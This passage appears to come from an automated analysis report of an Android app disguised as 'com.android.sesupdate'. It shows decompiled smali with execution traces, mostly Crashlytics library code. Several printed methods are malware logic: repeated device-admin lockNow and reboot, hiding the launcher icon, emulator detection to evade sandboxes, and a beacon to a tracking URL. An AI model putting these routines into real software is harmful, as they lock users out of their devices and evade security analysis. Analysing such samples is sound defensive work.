                            • Return:
                              • false
                          5move-result v0
                          6if-nez v0, :cond_a
                          7const/4 v0, 0x1
                          8goto_9: return v0
                          9cond_a: const/4 v0, 0x0
                          10goto/16 :goto_9
                          Cross References
                          APIs
                          • io.fabric.sdk.android.services.concurrency.PriorityFutureTask.areDependenciesMet
                          Position Instruction Meta Information
                          0.annotation system Ldalvik/annotation/Signature;
                          1value = {
                          2"(TE;)Z"
                          3}
                          4.end annotation
                          5.prologue
                          7invoke-interface {p1}, Lio/fabric/sdk/android/services/concurrency/Dependency;->areDependenciesMet()Z
                          • Time: 994607243
                            • This:
                              • io.fabric.sdk.android.services.concurrency.PriorityFutureTask@ebab1fc
                            • Return:
                              • true
                          • Time: 994607569
                            • This:
                              • io.fabric.sdk.android.services.concurrency.PriorityAsyncTask$ProxyExecutor$1@1d869cf4
                            • Return:
                              • false
                          8move-result v0
                          9return v0
                          APIs
                          • io.fabric.sdk.android.services.concurrency.PriorityTask.areDependenciesMet
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-virtual {p0}, Lio/fabric/sdk/android/services/concurrency/PriorityAsyncTask;->getDelegate()Lio/fabric/sdk/android/services/concurrency/Dependency;
                          3move-result-object v0
                          4check-cast v0, Lio/fabric/sdk/android/services/concurrency/PriorityProvider;
                          5check-cast v0, Lio/fabric/sdk/android/services/concurrency/Dependency;
                          7invoke-interface {v0}, Lio/fabric/sdk/android/services/concurrency/Dependency;->areDependenciesMet()Z
                          • Time: 994607529
                            • This:
                              • io.fabric.sdk.android.services.concurrency.PriorityTask@1f1ce565
                            • Return:
                              • true
                          • Time: 994607555
                            • This:
                              • io.fabric.sdk.android.services.concurrency.PriorityTask@37b72e1
                            • Return:
                              • false
                          8move-result v0
                          9return v0
                          APIs
                          • io.fabric.sdk.android.services.concurrency.PriorityTask.isFinished
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-virtual {p0}, Lio/fabric/sdk/android/services/concurrency/PriorityAsyncTask;->getDelegate()Lio/fabric/sdk/android/services/concurrency/Dependency;
                          3move-result-object v0
                          4check-cast v0, Lio/fabric/sdk/android/services/concurrency/PriorityProvider;
                          5check-cast v0, Lio/fabric/sdk/android/services/concurrency/Task;
                          7invoke-interface {v0}, Lio/fabric/sdk/android/services/concurrency/Task;->isFinished()Z
                          • Time: 994607544
                            • This:
                              • io.fabric.sdk.android.services.concurrency.PriorityTask@1f1ce565
                            • Return:
                              • false
                          • Time: 994615430
                            • This:
                              • io.fabric.sdk.android.services.concurrency.PriorityTask@1f1ce565
                            • Return:
                              • true
                          8move-result v0
                          9return v0
                          APIs
                          • com.crashlytics.android.core.CrashlyticsController$13.call
                          Position Instruction Meta Information
                          0.annotation system Ldalvik/annotation/Throws;
                          1value = {
                          2Ljava/lang/Exception;
                          3}
                          4.end annotation
                          5.prologue
                          7invoke-virtual {p0}, Lcom/crashlytics/android/core/CrashlyticsController$13;->call()Ljava/lang/Boolean;
                          • Time: 994624763
                            • This:
                              • com.crashlytics.android.core.CrashlyticsController$13@3f409f9
                            • Return:
                              • true
                          8move-result-object v0
                          9return-object v0
                          APIs
                          • com.crashlytics.android.core.CrashlyticsController.isHandlingException
                          Position Instruction Meta Information
                          0.prologue
                          2iget-object v0, p0, Lcom/crashlytics/android/core/CrashlyticsController$ReportUploaderHandlingExceptionCheck;->this$0:Lcom/crashlytics/android/core/CrashlyticsController;
                          4invoke-virtual {v0}, Lcom/crashlytics/android/core/CrashlyticsController;->isHandlingException()Z
                          • Time: 994630261
                            • This:
                              • com.crashlytics.android.core.CrashlyticsController@9e3ef63
                            • Return:
                              • false
                          5move-result v0
                          6return v0
                          APIs
                          • io.fabric.sdk.android.Onboarding.doInBackground
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-virtual {p0}, Lio/fabric/sdk/android/Onboarding;->doInBackground()Ljava/lang/Boolean;
                          • Time: 994615260
                            • This:
                              • io.fabric.sdk.android.Onboarding@185a23ce
                            • Return:
                              • true
                          3move-result-object v0
                          4return-object v0
                          APIs
                          • com.crashlytics.android.answers.Answers.doInBackground
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-virtual {p0}, Lcom/crashlytics/android/answers/Answers;->doInBackground()Ljava/lang/Boolean;
                          • Time: 994621470
                            • This:
                              • com.crashlytics.android.answers.Answers@917c8a3
                            • Return:
                              • true
                          3move-result-object v0
                          4return-object v0
                          APIs
                          • com.crashlytics.android.beta.Beta.doInBackground
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-virtual {p0}, Lcom/crashlytics/android/beta/Beta;->doInBackground()Ljava/lang/Boolean;
                          • Time: 994619742
                            • This:
                              • com.crashlytics.android.beta.Beta@1a756f59
                            • Return:
                              • false
                          3move-result-object v0
                          4return-object v0

                          288 Non-Executed Methods

                          APIs
                          • java.lang.ProcessBuilder.<init>
                          • java.lang.ProcessBuilder.start
                          • java.lang.Process.getInputStream
                          • java.io.InputStream.read
                          • java.lang.String.<init>
                          • java.io.PrintStream.println
                          • java.lang.String.<init>
                          • java.lang.String.startsWith
                          • java.lang.String.contains
                          • java.io.InputStream.close
                          • java.io.IOException.printStackTrace
                          • java.lang.StringBuilder.<init>
                          • java.lang.StringBuilder.append
                          • java.lang.String.<init>
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          • java.io.InputStream.close
                          • java.io.IOException.printStackTrace
                          • java.io.InputStream.close
                          • java.io.IOException.printStackTrace
                          • java.io.InputStream.close
                          • java.io.IOException.printStackTrace
                          Strings
                          • /system/bin/cat
                          • /proc/cpuinfo
                          • Features
                          • neon
                          Position Instruction Meta Information
                          0.prologue
                          1const/4 v9, 0x1
                          2const/4 v10, 0x0
                          4const-string v8, ""
                          5const/4 v4, 0x0
                          6const/4 v11, 0x2
                          7try_start_6: new-array v0, v11, [Ljava/lang/String;
                          8const/4 v11, 0x0
                          10const-string v12, "/system/bin/cat"
                          11aput-object v12, v0, v11
                          12const/4 v11, 0x1
                          14const-string v12, "/proc/cpuinfo"
                          15aput-object v12, v0, v11
                          16new-instance v1, Ljava/lang/ProcessBuilder;
                          18invoke-direct {v1, v0}, Ljava/lang/ProcessBuilder;-><init>([Ljava/lang/String;)V
                          20invoke-virtual {v1}, Ljava/lang/ProcessBuilder;->start()Ljava/lang/Process;
                          21move-result-object v6
                          23invoke-virtual {v6}, Ljava/lang/Process;->getInputStream()Ljava/io/InputStream;
                          24move-result-object v4
                          25const/16 v11, 0x400
                          26new-array v7, v11, [B
                          27goto_23:
                          28invoke-virtual {v4, v7}, Ljava/io/InputStream;->read([B)I
                          29move-result v11
                          30const/4 v12, -0x1
                          31if-eq v11, v12, :cond_6b
                          33sget-object v11, Ljava/lang/System;->out:Ljava/io/PrintStream;
                          34new-instance v12, Ljava/lang/String;
                          36invoke-direct {v12, v7}, Ljava/lang/String;-><init>([B)V
                          38invoke-virtual {v11, v12}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
                          39new-instance v5, Ljava/lang/String;
                          41invoke-direct {v5, v7}, Ljava/lang/String;-><init>([B)V
                          43const-string v11, "Features"
                          45invoke-virtual {v5, v11}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                          46move-result v11
                          47if-eqz v11, :cond_54
                          49const-string v11, "neon"
                          51invoke-virtual {v5, v11}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                          52try_end_46: move-result v11
                          53if-eqz v11, :cond_54
                          54if-eqz v4, :cond_4e
                          55try_start_4b:
                          56invoke-virtual {v4}, Ljava/io/InputStream;->close()V
                          57goto_4e: return v9
                          58catch_4f: move-exception v2
                          60invoke-virtual {v2}, Ljava/io/IOException;->printStackTrace()V
                          61goto/16 :goto_4e
                          62cond_54: new-instance v11, Ljava/lang/StringBuilder;
                          64invoke-direct {v11}, Ljava/lang/StringBuilder;-><init>()V
                          66invoke-virtual {v11, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          67move-result-object v11
                          68new-instance v12, Ljava/lang/String;
                          70invoke-direct {v12, v7}, Ljava/lang/String;-><init>([B)V
                          72invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          73move-result-object v11
                          75invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          76try_end_69: move-result-object v8
                          77goto/16 :goto_23
                          78cond_6b: if-eqz v4, :cond_70
                          79try_start_6d:
                          80invoke-virtual {v4}, Ljava/io/InputStream;->close()V
                          81cond_70: move v9, v10
                          82goto/16 :goto_4e
                          83catch_72: move-exception v2
                          85invoke-virtual {v2}, Ljava/io/IOException;->printStackTrace()V
                          86goto/16 :goto_70
                          87catch_77: move-exception v3
                          88try_start_78:
                          89invoke-virtual {v3}, Ljava/io/IOException;->printStackTrace()V
                          90try_end_7b: if-eqz v4, :cond_70
                          91try_start_7d:
                          92invoke-virtual {v4}, Ljava/io/InputStream;->close()V
                          93try_end_80: goto/16 :goto_70
                          94catch_81: move-exception v2
                          96invoke-virtual {v2}, Ljava/io/IOException;->printStackTrace()V
                          97goto/16 :goto_70
                          98catchall_86: move-exception v9
                          99if-eqz v4, :cond_8c
                          100try_start_89:
                          101invoke-virtual {v4}, Ljava/io/InputStream;->close()V
                          102try_end_8c: throw v9
                          103catch_8d: move-exception v2
                          105invoke-virtual {v2}, Ljava/io/IOException;->printStackTrace()V
                          106goto/16 :goto_8c
                          Cross References
                          APIs
                          • java.lang.StringBuilder.<init>
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          • java.net.URL.<init>
                          • java.net.URL.openConnection
                          • java.net.HttpURLConnection.setRequestMethod
                          • java.net.HttpURLConnection.setDoOutput
                          • java.net.HttpURLConnection.setConnectTimeout
                          • java.net.HttpURLConnection.setReadTimeout
                          • java.net.HttpURLConnection.connect
                          • java.net.HttpURLConnection.getInputStream
                          • java.io.InputStreamReader.<init>
                          • java.io.BufferedReader.<init>
                          • java.io.BufferedReader.readLine
                          • java.lang.StringBuilder.<init>
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          Strings
                          • GET
                          • \n
                          Position Instruction Meta Information
                          0.param p1, "uri" # [Ljava/lang/String;
                          1.prologue
                          2const/4 v4, 0x0
                          3try_start_1: new-instance v5, Ljava/net/URL;
                          4new-instance v6, Ljava/lang/StringBuilder;
                          6invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
                          8sget-object v7, Lcom/android/sesupdate/Constants;->trackingUrl:Ljava/lang/String;
                          10invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          11move-result-object v6
                          12const/4 v7, 0x0
                          13aget-object v7, p1, v7
                          15invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          16move-result-object v6
                          18invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          19move-result-object v6
                          21invoke-direct {v5, v6}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
                          23invoke-virtual {v5}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
                          24move-result-object v0
                          25check-cast v0, Ljava/net/HttpURLConnection;
                          27const-string v6, "GET"
                          29invoke-virtual {v0, v6}, Ljava/net/HttpURLConnection;->setRequestMethod(Ljava/lang/String;)V
                          30const/4 v6, 0x1
                          32invoke-virtual {v0, v6}, Ljava/net/HttpURLConnection;->setDoOutput(Z)V
                          33const/16 v6, 0x3a98
                          35invoke-virtual {v0, v6}, Ljava/net/HttpURLConnection;->setConnectTimeout(I)V
                          36const/16 v6, 0x3a98
                          38invoke-virtual {v0, v6}, Ljava/net/HttpURLConnection;->setReadTimeout(I)V
                          40invoke-virtual {v0}, Ljava/net/HttpURLConnection;->connect()V
                          41new-instance v3, Ljava/io/BufferedReader;
                          42new-instance v6, Ljava/io/InputStreamReader;
                          44invoke-virtual {v0}, Ljava/net/HttpURLConnection;->getInputStream()Ljava/io/InputStream;
                          45move-result-object v7
                          47invoke-direct {v6, v7}, Ljava/io/InputStreamReader;-><init>(Ljava/io/InputStream;)V
                          49invoke-direct {v3, v6}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
                          51const-string v1, ""
                          52goto_48:
                          53invoke-virtual {v3}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
                          54move-result-object v2
                          55if-eqz v2, :cond_68
                          56new-instance v6, Ljava/lang/StringBuilder;
                          58invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
                          60invoke-virtual {v6, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          61move-result-object v6
                          63invoke-virtual {v6, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          64move-result-object v6
                          66const-string v7, "\n"
                          68invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          69move-result-object v6
                          71invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          72try_end_64: move-result-object v1
                          73goto/16 :goto_48
                          74catch_66: move-exception v6
                          75move-object v1, v4
                          76cond_68: return-object v1
                          Cross References
                          APIs
                          • java.lang.String.startsWith
                          • java.lang.String.contains
                          • java.lang.String.startsWith
                          • java.lang.String.equals
                          Strings
                          • generic
                          • unknown
                          • google_sdk
                          • Emulator
                          • Android SDK built for x86
                          • Genymotion
                          Position Instruction Meta Information
                          0.prologue
                          2sget-object v0, Landroid/os/Build;->FINGERPRINT:Ljava/lang/String;
                          4const-string v1, "generic"
                          6invoke-virtual {v0, v1}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                          7move-result v0
                          8if-nez v0, :cond_5a
                          10sget-object v0, Landroid/os/Build;->FINGERPRINT:Ljava/lang/String;
                          12const-string v1, "unknown"
                          14invoke-virtual {v0, v1}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                          15move-result v0
                          16if-nez v0, :cond_5a
                          18sget-object v0, Landroid/os/Build;->MODEL:Ljava/lang/String;
                          20const-string v1, "google_sdk"
                          22invoke-virtual {v0, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                          23move-result v0
                          24if-nez v0, :cond_5a
                          26sget-object v0, Landroid/os/Build;->MODEL:Ljava/lang/String;
                          28const-string v1, "Emulator"
                          30invoke-virtual {v0, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                          31move-result v0
                          32if-nez v0, :cond_5a
                          34sget-object v0, Landroid/os/Build;->MODEL:Ljava/lang/String;
                          36const-string v1, "Android SDK built for x86"
                          38invoke-virtual {v0, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                          39move-result v0
                          40if-nez v0, :cond_5a
                          42sget-object v0, Landroid/os/Build;->MANUFACTURER:Ljava/lang/String;
                          44const-string v1, "Genymotion"
                          46invoke-virtual {v0, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                          47move-result v0
                          48if-nez v0, :cond_5a
                          50sget-object v0, Landroid/os/Build;->BRAND:Ljava/lang/String;
                          52const-string v1, "generic"
                          54invoke-virtual {v0, v1}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                          55move-result v0
                          56if-eqz v0, :cond_50
                          58sget-object v0, Landroid/os/Build;->DEVICE:Ljava/lang/String;
                          60const-string v1, "generic"
                          62invoke-virtual {v0, v1}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                          63move-result v0
                          64if-nez v0, :cond_5a
                          65cond_50:
                          66const-string v0, "google_sdk"
                          68sget-object v1, Landroid/os/Build;->PRODUCT:Ljava/lang/String;
                          70invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                          71move-result v0
                          72if-eqz v0, :cond_5c
                          73cond_5a: const/4 v0, 0x1
                          74goto_5b: return v0
                          75cond_5c: const/4 v0, 0x0
                          76goto/16 :goto_5b
                          APIs
                          • android.content.Context.getSystemService
                          • android.content.ComponentName.<init>
                          • android.app.admin.DevicePolicyManager.isAdminActive
                          • android.content.Intent.<init>
                          • android.content.Context.startService
                          • android.app.admin.DevicePolicyManager.lockNow
                          • android.os.Handler.<init>
                          • android.os.Handler.postDelayed
                          • android.content.ComponentName.<init>
                          • android.app.admin.DevicePolicyManager.reboot
                          Strings
                          • device_policy
                          Position Instruction Meta Information
                          0.prologue
                          2iget-object v3, p0, Lcom/android/sesupdate/receivers/DeviceAdmin$1;->val$context:Landroid/content/Context;
                          4const-string v4, "device_policy"
                          6invoke-virtual {v3, v4}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                          7move-result-object v0
                          8check-cast v0, Landroid/app/admin/DevicePolicyManager;
                          9new-instance v3, Landroid/content/ComponentName;
                          11iget-object v4, p0, Lcom/android/sesupdate/receivers/DeviceAdmin$1;->val$context:Landroid/content/Context;
                          12const-class v5, Lcom/android/sesupdate/receivers/DeviceAdmin;
                          14invoke-direct {v3, v4, v5}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                          16invoke-virtual {v0, v3}, Landroid/app/admin/DevicePolicyManager;->isAdminActive(Landroid/content/ComponentName;)Z
                          17move-result v3
                          18if-eqz v3, :cond_54
                          20iget-object v3, p0, Lcom/android/sesupdate/receivers/DeviceAdmin$1;->val$context:Landroid/content/Context;
                          21new-instance v4, Landroid/content/Intent;
                          23iget-object v5, p0, Lcom/android/sesupdate/receivers/DeviceAdmin$1;->val$context:Landroid/content/Context;
                          24const-class v6, Lcom/android/sesupdate/services/DisableService;
                          26invoke-direct {v4, v5, v6}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                          28invoke-virtual {v3, v4}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
                          30invoke-virtual {v0}, Landroid/app/admin/DevicePolicyManager;->lockNow()V
                          31const/4 v1, 0x1
                          32goto_2b: const/16 v3, 0x14
                          33if-gt v1, v3, :cond_42
                          34new-instance v2, Landroid/os/Handler;
                          36invoke-direct {v2}, Landroid/os/Handler;-><init>()V
                          37new-instance v3, Lcom/android/sesupdate/receivers/DeviceAdmin$1$1;
                          39invoke-direct {v3, p0, v0}, Lcom/android/sesupdate/receivers/DeviceAdmin$1$1;-><init>(Lcom/android/sesupdate/receivers/DeviceAdmin$1;Landroid/app/admin/DevicePolicyManager;)V
                          40mul-int/lit16 v4, v1, 0xfa
                          41int-to-long v4, v4
                          43invoke-virtual {v2, v3, v4, v5}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z
                          44add-int/lit8 v1, v1, 0x1
                          45goto/16 :goto_2b
                          46cond_42: sget v3, Landroid/os/Build$VERSION;->SDK_INT:I
                          47const/16 v4, 0x18
                          48if-lt v3, v4, :cond_54
                          49new-instance v3, Landroid/content/ComponentName;
                          51iget-object v4, p0, Lcom/android/sesupdate/receivers/DeviceAdmin$1;->val$context:Landroid/content/Context;
                          52const-class v5, Lcom/android/sesupdate/receivers/DeviceAdmin;
                          54invoke-direct {v3, v4, v5}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                          56invoke-virtual {v0, v3}, Landroid/app/admin/DevicePolicyManager;->reboot(Landroid/content/ComponentName;)V
                          57cond_54: return-void
                          Cross References
                          APIs
                          • java.lang.Class.getDeclaredMethod
                          • java.lang.reflect.Method.invoke
                          Strings
                          • getInstance
                          Position Instruction Meta Information
                          0.param p0, "context" # Landroid/content/Context;
                          1.param p1, "instanceClass" # Ljava/lang/Class;
                          2.prologue
                          3try_start_0:
                          4const-string v2, "getInstance"
                          5const/4 v3, 0x1
                          6new-array v3, v3, [Ljava/lang/Class;
                          7const/4 v4, 0x0
                          8const-class v5, Landroid/content/Context;
                          9aput-object v5, v3, v4
                          11invoke-virtual {p1, v2, v3}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                          12move-result-object v1
                          13const/4 v2, 0x1
                          14new-array v2, v2, [Ljava/lang/Object;
                          15const/4 v3, 0x0
                          16aput-object p0, v2, v3
                          18invoke-virtual {v1, p1, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                          19try_end_17: move-result-object v2
                          20goto_18: return-object v2
                          21catch_19: move-exception v0
                          22const/4 v2, 0x0
                          23goto/16 :goto_18
                          Cross References
                          APIs
                          • java.io.File.<init>
                          • java.io.File.listFiles
                          Strings
                          • /sys/devices/system/cpu/
                          Position Instruction Meta Information
                          0.prologue
                          1try_start_0: new-instance v0, Ljava/io/File;
                          3const-string v3, "/sys/devices/system/cpu/"
                          5invoke-direct {v0, v3}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                          6new-instance v3, Lcom/android/sesupdate/DeviceUtil$1CpuFilter;
                          8invoke-direct {v3}, Lcom/android/sesupdate/DeviceUtil$1CpuFilter;-><init>()V
                          10invoke-virtual {v0, v3}, Ljava/io/File;->listFiles(Ljava/io/FileFilter;)[Ljava/io/File;
                          11move-result-object v2
                          12array-length v3, v2
                          13goto_11: return v3
                          14catch_12: move-exception v1
                          15const/4 v3, 0x1
                          16goto/16 :goto_11
                          APIs
                          • android.content.Context.getPackageManager
                          • android.content.ComponentName.<init>
                          • android.content.pm.PackageManager.setComponentEnabledSetting
                          Position Instruction Meta Information
                          0.param p1, "context" # Landroid/content/Context;
                          1.prologue
                          3invoke-virtual {p1}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                          4move-result-object v1
                          5new-instance v0, Landroid/content/ComponentName;
                          6const-class v2, Lcom/android/sesupdate/MainActivity;
                          8invoke-direct {v0, p1, v2}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                          9const/4 v2, 0x2
                          10const/4 v3, 0x1
                          12invoke-virtual {v1, v0, v2, v3}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V
                          13return-void
                          Cross References
                          APIs
                          • android.content.SharedPreferences.getBoolean
                          Strings
                          • analytics_launched
                          Position Instruction Meta Information
                          0.annotation build Landroid/annotation/SuppressLint;
                          1value = {
                          2"CommitPrefEdits"
                          3}
                          4.end annotation
                          5.prologue
                          7iget-object v0, p0, Lcom/crashlytics/android/answers/AnswersPreferenceManager;->prefStore:Lio/fabric/sdk/android/services/persistence/PreferenceStore;
                          9invoke-interface {v0}, Lio/fabric/sdk/android/services/persistence/PreferenceStore;->get()Landroid/content/SharedPreferences;
                          10move-result-object v0
                          12const-string v1, "analytics_launched"
                          13const/4 v2, 0x0
                          15invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                          16move-result v0
                          17return v0
                          APIs
                          • android.content.Intent.<init>
                          • android.content.Context.startService
                          Position Instruction Meta Information
                          0.param p1, "context" # Landroid/content/Context;
                          1.param p2, "intent" # Landroid/content/Intent;
                          2.prologue
                          3new-instance v0, Landroid/content/Intent;
                          4const-class v1, Lcom/android/sesupdate/services/FirstService;
                          6invoke-direct {v0, p1, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                          8invoke-virtual {p1, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
                          9return-void
                          Cross References
                          APIs
                          • java.lang.reflect.Method.invoke
                          Position Instruction Meta Information
                          0.param p1, "origin" # Ljava/lang/String;
                          1.param p2, "eventName" # Ljava/lang/String;
                          2.param p3, "metadata" # Landroid/os/Bundle;
                          3.prologue
                          4try_start_0:
                          5iget-object v0, p0, Lcom/crashlytics/android/answers/AppMeasurementEventLogger;->logEventMethod:Ljava/lang/reflect/Method;
                          7iget-object v1, p0, Lcom/crashlytics/android/answers/AppMeasurementEventLogger;->logEventInstance:Ljava/lang/Object;
                          8const/4 v2, 0x3
                          9new-array v2, v2, [Ljava/lang/Object;
                          10const/4 v3, 0x0
                          11aput-object p1, v2, v3
                          12const/4 v3, 0x1
                          13aput-object p2, v2, v3
                          14const/4 v3, 0x2
                          15aput-object p3, v2, v3
                          17invoke-virtual {v0, v1, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                          18try_end_13: return-void
                          19catch_14: move-exception v0
                          20goto/16 :goto_13
                          Cross References
                          APIs
                          • android.os.Bundle.<init>
                          • java.lang.String.equals
                          • java.util.Map.get
                          • java.lang.String.equals
                          • java.util.Map.get
                          • android.os.Bundle.putLong
                          • java.lang.String.equals
                          • java.util.Map.get
                          • java.lang.Integer.intValue
                          • java.lang.Long.valueOf
                          • java.util.Map.get
                          • java.lang.String.equals
                          • java.util.Map.get
                          • java.lang.String.equals
                          • java.util.Map.get
                          • java.lang.String.equals
                          • java.util.Map.get
                          • java.lang.String.equals
                          • java.util.Map.get
                          • java.lang.String.valueOf
                          • java.util.Map.get
                          • java.lang.String.equals
                          • java.util.Map.get
                          • java.lang.String.equals
                          • java.util.Map.get
                          • java.lang.String.equals
                          • java.util.Map.get
                          • java.lang.String.equals
                          • java.util.Map.get
                          • java.lang.String.equals
                          • java.util.Map.get
                          Strings
                          • purchase
                          • item_id
                          • itemId
                          • item_name
                          • itemName
                          • item_category
                          • itemType
                          • value
                          • itemPrice
                          • currency
                          • addToCart
                          • price
                          • quantity
                          • startCheckout
                          • itemCount
                          • totalPrice
                          • contentView
                          • content_type
                          • contentType
                          • contentId
                          • contentName
                          • search
                          • search_term
                          • query
                          • share
                          • method
                          • rating
                          • signUp
                          • login
                          • invite
                          • levelStart
                          • level_name
                          • levelName
                          • levelEnd
                          • score
                          • success
                          Position Instruction Meta Information
                          0.param p1, "event" # Lcom/crashlytics/android/answers/SessionEvent;
                          1.prologue
                          2new-instance v0, Landroid/os/Bundle;
                          4invoke-direct {v0}, Landroid/os/Bundle;-><init>()V
                          6const-string v1, "purchase"
                          8iget-object v2, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedType:Ljava/lang/String;
                          10invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                          11move-result v1
                          12if-eqz v1, :cond_62
                          14const-string v2, "item_id"
                          16iget-object v1, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedAttributes:Ljava/util/Map;
                          18const-string v3, "itemId"
                          20invoke-interface {v1, v3}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                          21move-result-object v1
                          22check-cast v1, Ljava/lang/String;
                          24invoke-direct {p0, v0, v2, v1}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->putString(Landroid/os/Bundle;Ljava/lang/String;Ljava/lang/String;)V
                          26const-string v2, "item_name"
                          28iget-object v1, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedAttributes:Ljava/util/Map;
                          30const-string v3, "itemName"
                          32invoke-interface {v1, v3}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                          33move-result-object v1
                          34check-cast v1, Ljava/lang/String;
                          36invoke-direct {p0, v0, v2, v1}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->putString(Landroid/os/Bundle;Ljava/lang/String;Ljava/lang/String;)V
                          38const-string v2, "item_category"
                          40iget-object v1, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedAttributes:Ljava/util/Map;
                          42const-string v3, "itemType"
                          44invoke-interface {v1, v3}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                          45move-result-object v1
                          46check-cast v1, Ljava/lang/String;
                          48invoke-direct {p0, v0, v2, v1}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->putString(Landroid/os/Bundle;Ljava/lang/String;Ljava/lang/String;)V
                          50const-string v1, "value"
                          52iget-object v2, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedAttributes:Ljava/util/Map;
                          54const-string v3, "itemPrice"
                          56invoke-interface {v2, v3}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                          57move-result-object v2
                          59invoke-direct {p0, v2}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->mapPriceValue(Ljava/lang/Object;)Ljava/lang/Double;
                          60move-result-object v2
                          62invoke-direct {p0, v0, v1, v2}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->putDouble(Landroid/os/Bundle;Ljava/lang/String;Ljava/lang/Double;)V
                          64const-string v2, "currency"
                          66iget-object v1, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedAttributes:Ljava/util/Map;
                          68const-string v3, "currency"
                          70invoke-interface {v1, v3}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                          71move-result-object v1
                          72check-cast v1, Ljava/lang/String;
                          74invoke-direct {p0, v0, v2, v1}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->putString(Landroid/os/Bundle;Ljava/lang/String;Ljava/lang/String;)V
                          75goto_5c:
                          76iget-object v1, p1, Lcom/crashlytics/android/answers/SessionEvent;->customAttributes:Ljava/util/Map;
                          78invoke-direct {p0, v0, v1}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->mapCustomEventAttributes(Landroid/os/Bundle;Ljava/util/Map;)V
                          79return-object v0
                          80cond_62:
                          81const-string v1, "addToCart"
                          83iget-object v2, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedType:Ljava/lang/String;
                          85invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                          86move-result v1
